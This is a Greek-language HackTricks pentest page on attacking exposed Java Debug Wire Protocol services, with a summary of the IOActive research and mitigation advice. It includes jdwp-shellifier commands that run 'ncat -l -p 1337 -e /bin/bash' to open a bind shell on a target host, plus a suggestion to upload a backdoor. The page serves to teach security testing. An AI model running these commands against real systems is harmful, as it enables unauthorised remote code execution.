Pentesting JDWP - Java Debug Wire Protocol

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εκμετάλλευση

Η εκμετάλλευση του JDWP βασίζεται στην έλλειψη αυθεντικοποίησης και κρυπτογράφησης του πρωτοκόλλου. Γενικά βρίσκεται σε θύρα 8000, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχευμένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτή η χειραψία λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο.

Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.

Το εργαλείο αναφοράς είναι το jdwp-shellifier. Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:

bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Βρήκα ότι η χρήση του --break-on 'java.lang.String.indexOf' καθιστά την εκμετάλλευση πιο σταθερή. Και αν έχετε την ευκαιρία να ανεβάσετε ένα backdoor στον host και να το εκτελέσετε αντί να εκτελέσετε μια εντολή, η εκμετάλλευση θα είναι ακόμη πιο σταθερή.

Περισσότερες λεπτομέρειες

Αυτή είναι μια περίληψη του https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Ελέγξτε το για περισσότερες λεπτομέρειες.

  1. Επισκόπηση JDWP:
  • Είναι ένα πρωτόκολλο δικτύου με βάση τα πακέτα, κυρίως συγχρονισμένο.
  • Λείπει η αυθεντικοποίηση και η κρυπτογράφηση, καθιστώντας το ευάλωτο όταν εκτίθεται σε εχθρικά δίκτυα.
  1. Χειραψία JDWP:
  • Χρησιμοποιείται μια απλή διαδικασία χειραψίας για την έναρξη της επικοινωνίας. Ανταλλάσσεται μια ASCII συμβολοσειρά 14 χαρακτήρων “JDWP-Handshake” μεταξύ του Debugger (πελάτης) και του Debuggee (διακομιστής).
  1. Επικοινωνία JDWP:
  • Τα μηνύματα έχουν μια απλή δομή με πεδία όπως Μήκος, Id, Σημαία και CommandSet.
  • Οι τιμές του CommandSet κυμαίνονται από 0x40 έως 0x80, αντιπροσωπεύοντας διάφορες ενέργειες και γεγονότα.
  1. Εκμετάλλευση:
  • Το JDWP επιτρέπει τη φόρτωση και την εκτέλεση αυθαίρετων κλάσεων και bytecode, θέτοντας σε κίνδυνο την ασφάλεια.
  • Το άρθρο περιγράφει μια διαδικασία εκμετάλλευσης σε πέντε βήματα, που περιλαμβάνει την ανάκτηση αναφορών Java Runtime, την ρύθμιση σημείων διακοπής και την εκτέλεση μεθόδων.
  1. Εκμετάλλευση στην Πραγματική Ζωή:
  • Παρά τις πιθανές προστασίες τείχους προστασίας, οι υπηρεσίες JDWP είναι ανακαλύψιμες και εκμεταλλεύσιμες σε πραγματικά σενάρια, όπως αποδεικνύεται από αναζητήσεις σε πλατφόρμες όπως το ShodanHQ και το GitHub.
  • Το σενάριο εκμετάλλευσης δοκιμάστηκε σε διάφορες εκδόσεις JDK και είναι ανεξάρτητο από την πλατφόρμα, προσφέροντας αξιόπιστη Εκτέλεση Κώδικα από Απόσταση (RCE).
  1. Σημασία Ασφάλειας:
  • Η παρουσία ανοιχτών υπηρεσιών JDWP στο διαδίκτυο υπογραμμίζει την ανάγκη για τακτικές ανασκοπήσεις ασφάλειας, απενεργοποίηση λειτουργιών αποσφαλμάτωσης στην παραγωγή και σωστές ρυθμίσεις τείχους προστασίας.

Αναφορές:

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks